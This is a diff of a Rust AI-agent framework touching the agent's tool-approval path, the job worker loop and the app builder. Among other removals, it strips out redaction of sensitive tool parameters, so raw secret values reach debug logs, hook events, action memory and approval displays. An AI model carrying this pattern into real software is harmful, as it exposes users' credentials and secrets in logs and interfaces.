// Verify request ID if provided
|
// Verify request ID if provided
|
||||||
@@ -752,17 +655,14 @@ impl Agent {
|
|||||||
.execute_chat_tool(&pending.tool_name, &pending.parameters, &job_ctx)
|
.execute_chat_tool(&pending.tool_name, &pending.parameters, &job_ctx)
|
||||||
.await;
|
.await;
|
||||||
|
|
||||||
let tool_ref = self.tools().get(&pending.tool_name).await;
|
|
||||||
let _ = self
|
let _ = self
|
||||||
.channels
|
.channels
|
||||||
.send_status(
|
.send_status(
|
||||||
&message.channel,
|
&message.channel,
|
||||||
StatusUpdate::tool_completed(
|
StatusUpdate::ToolCompleted {
|
||||||
pending.tool_name.clone(),
|
name: pending.tool_name.clone(),
|
||||||
&tool_result,
|
success: tool_result.is_ok(),
|
||||||
&pending.display_parameters,
|
},
|
||||||
tool_ref.as_deref(),
|
|
||||||
),
|
|
||||||
&message.metadata,
|
&message.metadata,
|
||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
@@ -912,17 +812,14 @@ impl Agent {
|
|||||||
.execute_chat_tool(&tc.name, &tc.arguments, &job_ctx)
|
.execute_chat_tool(&tc.name, &tc.arguments, &job_ctx)
|
||||||
.await;
|
.await;
|
||||||
|
|
||||||
let deferred_tool = self.tools().get(&tc.name).await;
|
|
||||||
let _ = self
|
let _ = self
|
||||||
.channels
|
.channels
|
||||||
.send_status(
|
.send_status(
|
||||||
&message.channel,
|
&message.channel,
|
||||||
StatusUpdate::tool_completed(
|
StatusUpdate::ToolCompleted {
|
||||||
tc.name.clone(),
|
name: tc.name.clone(),
|
||||||
&result,
|
success: result.is_ok(),
|
||||||
&tc.arguments,
|
},
|
||||||
deferred_tool.as_deref(),
|
|
||||||
),
|
|
||||||
&message.metadata,
|
&message.metadata,
|
||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
@@ -964,16 +861,13 @@ impl Agent {
|
|||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
|
|
||||||
let par_tool = tools.get(&tc.name).await;
|
|
||||||
let _ = channels
|
let _ = channels
|
||||||
.send_status(
|
.send_status(
|
||||||
&channel,
|
&channel,
|
||||||
StatusUpdate::tool_completed(
|
StatusUpdate::ToolCompleted {
|
||||||
tc.name.clone(),
|
name: tc.name.clone(),
|
||||||
&result,
|
success: result.is_ok(),
|
||||||
&tc.arguments,
|
},
|
||||||
par_tool.as_deref(),
|
|
||||||
),
|
|
||||||
&metadata,
|
&metadata,
|
||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
@@ -1096,7 +990,6 @@ impl Agent {
|
|||||||
request_id: Uuid::new_v4(),
|
request_id: Uuid::new_v4(),
|
||||||
tool_name: tc.name.clone(),
|
tool_name: tc.name.clone(),
|
||||||
parameters: tc.arguments.clone(),
|
parameters: tc.arguments.clone(),
|
||||||
display_parameters: redact_params(&tc.arguments, tool.sensitive_params()),
|
|
||||||
description: tool.description().to_string(),
|
description: tool.description().to_string(),
|
||||||
tool_call_id: tc.id.clone(),
|
tool_call_id: tc.id.clone(),
|
||||||
context_messages: context_messages.clone(),
|
context_messages: context_messages.clone(),
|
||||||
@@ -1106,7 +999,7 @@ impl Agent {
|
|||||||
let request_id = new_pending.request_id;
|
let request_id = new_pending.request_id;
|
||||||
let tool_name = new_pending.tool_name.clone();
|
let tool_name = new_pending.tool_name.clone();
|
||||||
let description = new_pending.description.clone();
|
let description = new_pending.description.clone();
|
||||||
let parameters = new_pending.display_parameters.clone();
|
let parameters = new_pending.parameters.clone();
|
||||||
|
|
||||||
{
|
{
|
||||||
let mut sess = session.lock().await;
|
let mut sess = session.lock().await;
|
||||||
@@ -1147,14 +1040,7 @@ impl Agent {
|
|||||||
match result {
|
match result {
|
||||||
Ok(AgenticLoopResult::Response(response)) => {
|
Ok(AgenticLoopResult::Response(response)) => {
|
||||||
thread.complete_turn(&response);
|
thread.complete_turn(&response);
|
||||||
let tool_calls = thread
|
// User message already persisted at turn start; save assistant response
|
||||||
.turns
|
|
||||||
.last()
|
|
||||||
.map(|t| t.tool_calls.clone())
|
|
||||||
.unwrap_or_default();
|
|
||||||
// User message already persisted at turn start; save tool calls then assistant response
|
|
||||||
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
|
|
||||||
.await;
|
|
||||||
self.persist_assistant_response(thread_id, &message.user_id, &response)
|
self.persist_assistant_response(thread_id, &message.user_id, &response)
|
||||||
.await;
|
.await;
|
||||||
let _ = self
|
let _ = self
|
||||||
@@ -1173,7 +1059,7 @@ impl Agent {
|
|||||||
let request_id = new_pending.request_id;
|
let request_id = new_pending.request_id;
|
||||||
let tool_name = new_pending.tool_name.clone();
|
let tool_name = new_pending.tool_name.clone();
|
||||||
let description = new_pending.description.clone();
|
let description = new_pending.description.clone();
|
||||||
let parameters = new_pending.display_parameters.clone();
|
let parameters = new_pending.parameters.clone();
|
||||||
thread.await_approval(new_pending);
|
thread.await_approval(new_pending);
|
||||||
let _ = self
|
let _ = self
|
||||||
.channels
|
.channels
|
||||||
@@ -1295,7 +1181,7 @@ impl Agent {
|
|||||||
};
|
};
|
||||||
|
|
||||||
match ext_mgr.auth(&pending.extension_name, Some(token)).await {
|
match ext_mgr.auth(&pending.extension_name, Some(token)).await {
|
||||||
Ok(result) if result.is_authenticated() => {
|
Ok(result) if result.status == "authenticated" => {
|
||||||
tracing::info!(
|
tracing::info!(
|
||||||
"Extension '{}' authenticated via auth mode",
|
"Extension '{}' authenticated via auth mode",
|
||||||
pending.extension_name
|
pending.extension_name
|
||||||
@@ -1364,8 +1250,8 @@ impl Agent {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
let msg = result
|
let msg = result
|
||||||
.instructions()
|
.instructions
|
||||||
.map(String::from)
|
.clone()
|
||||||
.unwrap_or_else(|| "Invalid token. Please try again.".to_string());
|
.unwrap_or_else(|| "Invalid token. Please try again.".to_string());
|
||||||
// Re-emit AuthRequired so web UI re-shows the card
|
// Re-emit AuthRequired so web UI re-shows the card
|
||||||
let _ = self
|
let _ = self
|
||||||
@@ -1375,8 +1261,8 @@ impl Agent {
|
|||||||
StatusUpdate::AuthRequired {
|
StatusUpdate::AuthRequired {
|
||||||
extension_name: pending.extension_name.clone(),
|
extension_name: pending.extension_name.clone(),
|
||||||
instructions: Some(msg.clone()),
|
instructions: Some(msg.clone()),
|
||||||
auth_url: result.auth_url().map(String::from),
|
auth_url: result.auth_url,
|
||||||
setup_url: result.setup_url().map(String::from),
|
setup_url: result.setup_url,
|
||||||
},
|
},
|
||||||
&message.metadata,
|
&message.metadata,
|
||||||
)
|
)
|
||||||
|
|||||||
+25
-251
@@ -9,7 +9,6 @@ use uuid::Uuid;
|
|||||||
|
|
||||||
use crate::agent::scheduler::WorkerMessage;
|
use crate::agent::scheduler::WorkerMessage;
|
||||||
use crate::agent::task::TaskOutput;
|
use crate::agent::task::TaskOutput;
|
||||||
use crate::channels::web::types::SseEvent;
|
|
||||||
use crate::context::{ContextManager, JobState};
|
use crate::context::{ContextManager, JobState};
|
||||||
use crate::db::Database;
|
use crate::db::Database;
|
||||||
use crate::error::Error;
|
use crate::error::Error;
|
||||||
@@ -18,8 +17,8 @@ use crate::llm::{
|
|||||||
ActionPlan, ChatMessage, LlmProvider, Reasoning, ReasoningContext, RespondResult, ToolSelection,
|
ActionPlan, ChatMessage, LlmProvider, Reasoning, ReasoningContext, RespondResult, ToolSelection,
|
||||||
};
|
};
|
||||||
use crate::safety::SafetyLayer;
|
use crate::safety::SafetyLayer;
|
||||||
|
use crate::tools::ToolRegistry;
|
||||||
use crate::tools::rate_limiter::RateLimitResult;
|
use crate::tools::rate_limiter::RateLimitResult;
|
||||||
use crate::tools::{ToolRegistry, redact_params};
|
|
||||||
|
|
||||||
/// Shared dependencies for worker execution.
|
/// Shared dependencies for worker execution.
|
||||||
///
|
///
|
||||||
@@ -35,8 +34,6 @@ pub struct WorkerDeps {
|
|||||||
pub hooks: Arc<HookRegistry>,
|
pub hooks: Arc<HookRegistry>,
|
||||||
pub timeout: Duration,
|
pub timeout: Duration,
|
||||||
pub use_planning: bool,
|
pub use_planning: bool,
|
||||||
/// SSE broadcast sender for live job event streaming to the web gateway.
|
|
||||||
pub sse_tx: Option<tokio::sync::broadcast::Sender<SseEvent>>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Worker that executes a single job.
|
/// Worker that executes a single job.
|
||||||
@@ -101,90 +98,18 @@ impl Worker {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Fire-and-forget persistence of a job event and SSE broadcast.
|
/// Fire-and-forget persistence of a job event.
|
||||||
fn log_event(&self, event_type: &str, data: serde_json::Value) {
|
fn log_event(&self, event_type: &str, data: serde_json::Value) {
|
||||||
let job_id = self.job_id;
|
|
||||||
|
|
||||||
// Persist to DB
|
|
||||||
if let Some(store) = self.store() {
|
if let Some(store) = self.store() {
|
||||||
let store = store.clone();
|
let store = store.clone();
|
||||||
let et = event_type.to_string();
|
let job_id = self.job_id;
|
||||||
let d = data.clone();
|
let event_type = event_type.to_string();
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move {
|
||||||
if let Err(e) = store.save_job_event(job_id, &et, &d).await {
|
if let Err(e) = store.save_job_event(job_id, &event_type, &data).await {
|
||||||
tracing::warn!("Failed to persist event for job {}: {}", job_id, e);
|
tracing::warn!("Failed to persist event for job {}: {}", job_id, e);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// Broadcast SSE for live web UI updates
|
|
||||||
if let Some(ref tx) = self.deps.sse_tx {
|
|
||||||
let job_id_str = job_id.to_string();
|
|
||||||
let event = match event_type {
|
|
||||||
"message" => Some(SseEvent::JobMessage {
|
|
||||||
job_id: job_id_str,
|
|
||||||
role: data
|
|
||||||
.get("role")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.unwrap_or("assistant")
|
|
||||||
.to_string(),
|
|
||||||
content: data
|
|
||||||
.get("content")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.unwrap_or("")
|
|
||||||
.to_string(),
|
|
||||||
}),
|
|
||||||
"tool_use" => Some(SseEvent::JobToolUse {
|
|
||||||
job_id: job_id_str,
|
|
||||||
tool_name: data
|
|
||||||
.get("tool_name")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.unwrap_or("unknown")
|
|
||||||
.to_string(),
|
|
||||||
input: data
|
|
||||||
.get("input")
|
|
||||||
.cloned()
|
|
||||||
.unwrap_or(serde_json::Value::Null),
|
|
||||||
}),
|
|
||||||
"tool_result" => Some(SseEvent::JobToolResult {
|
|
||||||
job_id: job_id_str,
|
|
||||||
tool_name: data
|
|
||||||
.get("tool_name")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.unwrap_or("unknown")
|
|
||||||
.to_string(),
|
|
||||||
output: data
|
|
||||||
.get("output")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.unwrap_or("")
|
|
||||||
.to_string(),
|
|
||||||
}),
|
|
||||||
"status" => Some(SseEvent::JobStatus {
|
|
||||||
job_id: job_id_str,
|
|
||||||
message: data
|
|
||||||
.get("message")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.unwrap_or("")
|
|
||||||
.to_string(),
|
|
||||||
}),
|
|
||||||
"result" => Some(SseEvent::JobResult {
|
|
||||||
job_id: job_id_str,
|
|
||||||
status: data
|
|
||||||
.get("status")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.unwrap_or("completed")
|
|
||||||
.to_string(),
|
|
||||||
session_id: data
|
|
||||||
.get("session_id")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.map(|s| s.to_string()),
|
|
||||||
}),
|
|
||||||
_ => None,
|
|
||||||
};
|
|
||||||
if let Some(event) = event {
|
|
||||||
let _ = tx.send(event);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Run the worker until the job is complete or stopped.
|
/// Run the worker until the job is complete or stopped.
|
||||||
@@ -198,7 +123,7 @@ impl Worker {
|
|||||||
tracing::debug!("Worker for job {} stopped before starting", self.job_id);
|
tracing::debug!("Worker for job {} stopped before starting", self.job_id);
|
||||||
return Ok(());
|
return Ok(());
|
||||||
}
|
}
|
||||||
Some(WorkerMessage::Ping) | Some(WorkerMessage::UserMessage(_)) => {}
|
Some(WorkerMessage::Ping) => {}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get job context
|
// Get job context
|
||||||
@@ -233,37 +158,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
match result {
|
match result {
|
||||||
Ok(Ok(())) => {
|
Ok(Ok(())) => {
|
||||||
tracing::info!("Worker for job {} completed successfully", self.job_id);
|
tracing::info!("Worker for job {} completed successfully", self.job_id);
|
||||||
// Only mark completed if still in an active, non-stuck state.
|
|
||||||
// The execution_loop may have already called mark_completed or
|
|
||||||
// mark_stuck (e.g. "plan completed but work remains").
|
|
||||||
let current_state = self
|
|
||||||
.context_manager()
|
|
||||||
.get_context(self.job_id)
|
|
||||||
.await
|
|
||||||
.map(|ctx| ctx.state);
|
|
||||||
match current_state {
|
|
||||||
Ok(state) if state.is_terminal() => {
|
|
||||||
// Already in a terminal state (e.g. execution_loop
|
|
||||||
// called mark_completed itself).
|
|
||||||
}
|
|
||||||
Ok(JobState::Stuck) => {
|
|
||||||
// execution_loop marked this as stuck (e.g. "plan
|
|
||||||
// completed but work remains"); leave for self-repair.
|
|
||||||
tracing::info!(
|
|
||||||
"Job {} returned Ok but is Stuck — leaving for self-repair",
|
|
||||||
self.job_id
|
|
||||||
);
|
|
||||||
}
|
|
||||||
Ok(_) => {
|
|
||||||
self.mark_completed().await?;
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!(
|
|
||||||
job_id = %self.job_id,
|
|
||||||
"Failed to get job context, cannot mark as completed: {}", e
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
Ok(Err(e)) => {
|
Ok(Err(e)) => {
|
||||||
tracing::error!("Worker for job {} failed: {}", self.job_id, e);
|
tracing::error!("Worker for job {} failed: {}", self.job_id, e);
|
||||||
@@ -294,8 +188,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
.unwrap_or(50) as usize;
|
.unwrap_or(50) as usize;
|
||||||
let max_iterations = max_iterations.min(MAX_WORKER_ITERATIONS);
|
let max_iterations = max_iterations.min(MAX_WORKER_ITERATIONS);
|
||||||
let mut iteration = 0;
|
let mut iteration = 0;
|
||||||
const MAX_CONSECUTIVE_RATE_LIMITS: usize = 10;
|
|
||||||
let mut consecutive_rate_limits = 0usize;
|
|
||||||
|
|
||||||
// Initial tool definitions for planning (will be refreshed in loop)
|
// Initial tool definitions for planning (will be refreshed in loop)
|
||||||
reason_ctx.available_tools = self.tools().tool_definitions().await;
|
reason_ctx.available_tools = self.tools().tool_definitions().await;
|
||||||
@@ -346,27 +238,15 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
None
|
None
|
||||||
};
|
};
|
||||||
|
|
||||||
// If we have a plan, execute it. Two exit paths:
|
// If we have a plan, execute it
|
||||||
// 1. Plan ran to completion → job is Completed or needs continuation
|
|
||||||
// (check state and only fall through if not terminal)
|
|
||||||
// 2. Plan was interrupted by UserMessage → fall through to direct loop
|
|
||||||
if let Some(ref plan) = plan {
|
if let Some(ref plan) = plan {
|
||||||
self.execute_plan(rx, reasoning, reason_ctx, plan).await?;
|
return self.execute_plan(rx, reasoning, reason_ctx, plan).await;
|
||||||
|
|
||||||
// If the plan marked the job terminal, we're done. Only fall
|
|
||||||
// through to the direct selection loop if the plan was
|
|
||||||
// interrupted or explicitly left the job in-progress.
|
|
||||||
if let Ok(ctx) = self.context_manager().get_context(self.job_id).await
|
|
||||||
&& (ctx.state.is_terminal() || ctx.state == JobState::Stuck)
|
|
||||||
{
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Direct tool selection loop (also used as fallback after plan interruption)
|
// Otherwise, use direct tool selection loop
|
||||||
loop {
|
loop {
|
||||||
// Check for stop signal and injected user messages
|
// Check for stop signal
|
||||||
while let Ok(msg) = rx.try_recv() {
|
if let Ok(msg) = rx.try_recv() {
|
||||||
match msg {
|
match msg {
|
||||||
WorkerMessage::Stop => {
|
WorkerMessage::Stop => {
|
||||||
tracing::debug!("Worker for job {} received stop signal", self.job_id);
|
tracing::debug!("Worker for job {} received stop signal", self.job_id);
|
||||||
@@ -376,20 +256,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
tracing::trace!("Worker for job {} received ping", self.job_id);
|
tracing::trace!("Worker for job {} received ping", self.job_id);
|
||||||
}
|
}
|
||||||
WorkerMessage::Start => {}
|
WorkerMessage::Start => {}
|
||||||
WorkerMessage::UserMessage(content) => {
|
|
||||||
tracing::info!(
|
|
||||||
job_id = %self.job_id,
|
|
||||||
"Worker received follow-up user message"
|
|
||||||
);
|
|
||||||
reason_ctx.messages.push(ChatMessage::user(&content));
|
|
||||||
self.log_event(
|
|
||||||
"message",
|
|
||||||
serde_json::json!({
|
|
||||||
"role": "user",
|
|
||||||
"content": content,
|
|
||||||
}),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -410,64 +276,12 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
// Refresh tool definitions so newly built tools become visible
|
// Refresh tool definitions so newly built tools become visible
|
||||||
reason_ctx.available_tools = self.tools().tool_definitions().await;
|
reason_ctx.available_tools = self.tools().tool_definitions().await;
|
||||||
|
|
||||||
// Select next tool(s) to use, with rate-limit retry.
|
// Select next tool(s) to use
|
||||||
let selections = match reasoning.select_tools(reason_ctx).await {
|
let selections = reasoning.select_tools(reason_ctx).await?;
|
||||||
Ok(s) => s,
|
|
||||||
Err(crate::error::LlmError::RateLimited { retry_after, .. }) => {
|
|
||||||
consecutive_rate_limits += 1;
|
|
||||||
let wait = retry_after.unwrap_or(Duration::from_secs(5));
|
|
||||||
tracing::warn!(
|
|
||||||
job_id = %self.job_id,
|
|
||||||
wait_secs = wait.as_secs(),
|
|
||||||
attempt = consecutive_rate_limits,
|
|
||||||
"LLM rate limited during tool selection, backing off"
|
|
||||||
);
|
|
||||||
if consecutive_rate_limits >= MAX_CONSECUTIVE_RATE_LIMITS {
|
|
||||||
self.mark_stuck("Persistent rate limiting").await?;
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
self.log_event(
|
|
||||||
"status",
|
|
||||||
serde_json::json!({
|
|
||||||
"message": format!("Rate limited, retrying in {}s ({}/{})...",
|
|
||||||
wait.as_secs(), consecutive_rate_limits, MAX_CONSECUTIVE_RATE_LIMITS),
|
|
||||||
}),
|
|
||||||
);
|
|
||||||
tokio::time::sleep(wait).await;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
Err(e) => return Err(e.into()),
|
|
||||||
};
|
|
||||||
|
|
||||||
if selections.is_empty() {
|
if selections.is_empty() {
|
||||||
// No tools from select_tools, ask LLM directly (may still return tool calls)
|
// No tools from select_tools, ask LLM directly (may still return tool calls)
|
||||||
let respond_output = match reasoning.respond_with_tools(reason_ctx).await {
|
let respond_output = reasoning.respond_with_tools(reason_ctx).await?;
|
||||||
Ok(o) => o,
|
|
||||||
Err(crate::error::LlmError::RateLimited { retry_after, .. }) => {
|
|
||||||
consecutive_rate_limits += 1;
|
|
||||||
let wait = retry_after.unwrap_or(Duration::from_secs(5));
|
|
||||||
tracing::warn!(
|
|
||||||
job_id = %self.job_id,
|
|
||||||
wait_secs = wait.as_secs(),
|
|
||||||
attempt = consecutive_rate_limits,
|
|
||||||
"LLM rate limited during respond_with_tools, backing off"
|
|
||||||
);
|
|
||||||
if consecutive_rate_limits >= MAX_CONSECUTIVE_RATE_LIMITS {
|
|
||||||
self.mark_stuck("Persistent rate limiting").await?;
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
self.log_event(
|
|
||||||
"status",
|
|
||||||
serde_json::json!({
|
|
||||||
"message": format!("Rate limited, retrying in {}s ({}/{})...",
|
|
||||||
wait.as_secs(), consecutive_rate_limits, MAX_CONSECUTIVE_RATE_LIMITS),
|
|
||||||
}),
|
|
||||||
);
|
|
||||||
tokio::time::sleep(wait).await;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
Err(e) => return Err(e.into()),
|
|
||||||
};
|
|
||||||
|
|
||||||
match respond_output.result {
|
match respond_output.result {
|
||||||
RespondResult::Text(response) => {
|
RespondResult::Text(response) => {
|
||||||
@@ -579,11 +393,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Reset rate-limit counter after a successful iteration (all LLM
|
|
||||||
// calls succeeded). Placed here so alternating success/fail between
|
|
||||||
// select_tools and respond_with_tools cannot bypass the cap.
|
|
||||||
consecutive_rate_limits = 0;
|
|
||||||
|
|
||||||
// Small delay between iterations
|
// Small delay between iterations
|
||||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
tokio::time::sleep(Duration::from_millis(100)).await;
|
||||||
}
|
}
|
||||||
@@ -700,10 +509,9 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
// Run BeforeToolCall hook
|
// Run BeforeToolCall hook
|
||||||
let params = {
|
let params = {
|
||||||
use crate::hooks::{HookError, HookEvent, HookOutcome};
|
use crate::hooks::{HookError, HookEvent, HookOutcome};
|
||||||
let hook_params = redact_params(params, tool.sensitive_params());
|
|
||||||
let event = HookEvent::ToolCall {
|
let event = HookEvent::ToolCall {
|
||||||
tool_name: tool_name.to_string(),
|
tool_name: tool_name.to_string(),
|
||||||
parameters: hook_params,
|
parameters: params.clone(),
|
||||||
user_id: job_ctx.user_id.clone(),
|
user_id: job_ctx.user_id.clone(),
|
||||||
context: format!("job:{}", job_id),
|
context: format!("job:{}", job_id),
|
||||||
};
|
};
|
||||||
@@ -759,12 +567,9 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
.into());
|
.into());
|
||||||
}
|
}
|
||||||
|
|
||||||
// Redact sensitive parameter values (e.g. secret_save's "value") before
|
|
||||||
// they touch any observability or audit path.
|
|
||||||
let safe_params = redact_params(¶ms, tool.sensitive_params());
|
|
||||||
tracing::debug!(
|
tracing::debug!(
|
||||||
tool = %tool_name,
|
tool = %tool_name,
|
||||||
params = %safe_params,
|
params = %params,
|
||||||
job = %job_id,
|
job = %job_id,
|
||||||
"Tool call started"
|
"Tool call started"
|
||||||
);
|
);
|
||||||
@@ -816,7 +621,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
match deps
|
match deps
|
||||||
.context_manager
|
.context_manager
|
||||||
.update_memory(job_id, |mem| {
|
.update_memory(job_id, |mem| {
|
||||||
let rec = mem.create_action(tool_name, safe_params.clone()).succeed(
|
let rec = mem.create_action(tool_name, params.clone()).succeed(
|
||||||
output_str.clone(),
|
output_str.clone(),
|
||||||
output.result.clone(),
|
output.result.clone(),
|
||||||
elapsed,
|
elapsed,
|
||||||
@@ -838,7 +643,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
.context_manager
|
.context_manager
|
||||||
.update_memory(job_id, |mem| {
|
.update_memory(job_id, |mem| {
|
||||||
let rec = mem
|
let rec = mem
|
||||||
.create_action(tool_name, safe_params.clone())
|
.create_action(tool_name, params.clone())
|
||||||
.fail(e.to_string(), elapsed);
|
.fail(e.to_string(), elapsed);
|
||||||
mem.record_action(rec.clone());
|
mem.record_action(rec.clone());
|
||||||
rec
|
rec
|
||||||
@@ -857,7 +662,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
.context_manager
|
.context_manager
|
||||||
.update_memory(job_id, |mem| {
|
.update_memory(job_id, |mem| {
|
||||||
let rec = mem
|
let rec = mem
|
||||||
.create_action(tool_name, safe_params.clone())
|
.create_action(tool_name, params.clone())
|
||||||
.fail("Execution timeout", elapsed);
|
.fail("Execution timeout", elapsed);
|
||||||
mem.record_action(rec.clone());
|
mem.record_action(rec.clone());
|
||||||
rec
|
rec
|
||||||
@@ -1000,8 +805,8 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
plan: &ActionPlan,
|
plan: &ActionPlan,
|
||||||
) -> Result<(), Error> {
|
) -> Result<(), Error> {
|
||||||
for (i, action) in plan.actions.iter().enumerate() {
|
for (i, action) in plan.actions.iter().enumerate() {
|
||||||
// Check for stop signal and injected user messages
|
// Check for stop signal
|
||||||
while let Ok(msg) = rx.try_recv() {
|
if let Ok(msg) = rx.try_recv() {
|
||||||
match msg {
|
match msg {
|
||||||
WorkerMessage::Stop => {
|
WorkerMessage::Stop => {
|
||||||
tracing::debug!(
|
tracing::debug!(
|
||||||
@@ -1014,29 +819,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
tracing::trace!("Worker for job {} received ping", self.job_id);
|
tracing::trace!("Worker for job {} received ping", self.job_id);
|
||||||
}
|
}
|
||||||
WorkerMessage::Start => {}
|
WorkerMessage::Start => {}
|
||||||
WorkerMessage::UserMessage(content) => {
|
|
||||||
tracing::info!(
|
|
||||||
job_id = %self.job_id,
|
|
||||||
"User message received during plan execution, abandoning plan"
|
|
||||||
);
|
|
||||||
reason_ctx.messages.push(ChatMessage::user(&content));
|
|
||||||
self.log_event(
|
|
||||||
"message",
|
|
||||||
serde_json::json!({
|
|
||||||
"role": "user",
|
|
||||||
"content": content,
|
|
||||||
}),
|
|
||||||
);
|
|
||||||
self.log_event(
|
|
||||||
"status",
|
|
||||||
serde_json::json!({
|
|
||||||
"message": "Plan interrupted by user message, re-evaluating...",
|
|
||||||
}),
|
|
||||||
);
|
|
||||||
// Return Ok to break out of plan; caller falls through to
|
|
||||||
// the direct selection loop for LLM re-evaluation.
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1089,18 +871,14 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
if crate::util::llm_signals_completion(&response) {
|
if crate::util::llm_signals_completion(&response) {
|
||||||
self.mark_completed().await?;
|
self.mark_completed().await?;
|
||||||
} else {
|
} else {
|
||||||
// Job not complete — return Ok without marking terminal so the
|
// Job not complete, could re-plan or fall back to direct selection
|
||||||
// caller falls through to the direct selection loop for continuation.
|
|
||||||
tracing::info!(
|
tracing::info!(
|
||||||
"Job {} plan completed but work remains, falling back to direct selection",
|
"Job {} plan completed but work remains, falling back to direct selection",
|
||||||
self.job_id
|
self.job_id
|
||||||
);
|
);
|
||||||
self.log_event(
|
// Continue with standard execution loop by returning (will be picked up by main loop)
|
||||||
"status",
|
self.mark_stuck("Plan completed but job incomplete - needs re-planning")
|
||||||
serde_json::json!({
|
.await?;
|
||||||
"message": "Plan completed but job needs more work, continuing...",
|
|
||||||
}),
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
@@ -1131,7 +909,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
self.log_event(
|
self.log_event(
|
||||||
"result",
|
"result",
|
||||||
serde_json::json!({
|
serde_json::json!({
|
||||||
"status": "completed",
|
|
||||||
"success": true,
|
"success": true,
|
||||||
"message": "Job completed successfully",
|
"message": "Job completed successfully",
|
||||||
}),
|
}),
|
||||||
@@ -1157,7 +934,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
self.log_event(
|
self.log_event(
|
||||||
"result",
|
"result",
|
||||||
serde_json::json!({
|
serde_json::json!({
|
||||||
"status": "failed",
|
|
||||||
"success": false,
|
"success": false,
|
||||||
"message": format!("Execution failed: {}", reason),
|
"message": format!("Execution failed: {}", reason),
|
||||||
}),
|
}),
|
||||||
@@ -1178,7 +954,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
|||||||
self.log_event(
|
self.log_event(
|
||||||
"result",
|
"result",
|
||||||
serde_json::json!({
|
serde_json::json!({
|
||||||
"status": "stuck",
|
|
||||||
"success": false,
|
"success": false,
|
||||||
"message": format!("Job stuck: {}", reason),
|
"message": format!("Job stuck: {}", reason),
|
||||||
}),
|
}),
|
||||||
@@ -1297,7 +1072,6 @@ mod tests {
|
|||||||
hooks: Arc::new(crate::hooks::HookRegistry::new()),
|
hooks: Arc::new(crate::hooks::HookRegistry::new()),
|
||||||
timeout: Duration::from_secs(30),
|
timeout: Duration::from_secs(30),
|
||||||
use_planning: false,
|
use_planning: false,
|
||||||
sse_tx: None,
|
|
||||||
};
|
};
|
||||||
|
|
||||||
Worker::new(job_id, deps)
|
Worker::new(job_id, deps)
|
||||||
|
|||||||
+13
-40
@@ -331,10 +331,6 @@ impl AppBuilder {
|
|||||||
};
|
};
|
||||||
tools.register_builtin_tools();
|
tools.register_builtin_tools();
|
||||||
|
|
||||||
if let Some(ref ss) = self.secrets_store {
|
|
||||||
tools.register_secrets_tools(Arc::clone(ss));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create embeddings provider using the unified method
|
// Create embeddings provider using the unified method
|
||||||
let embeddings = self
|
let embeddings = self
|
||||||
.config
|
.config
|
||||||
@@ -406,17 +402,19 @@ impl AppBuilder {
|
|||||||
|
|
||||||
let mcp_session_manager = Arc::new(McpSessionManager::new());
|
let mcp_session_manager = Arc::new(McpSessionManager::new());
|
||||||
|
|
||||||
// Create WASM tool runtime eagerly so extensions installed after startup
|
// Create WASM tool runtime
|
||||||
// (e.g. via the web UI) can still be activated. The tools directory is only
|
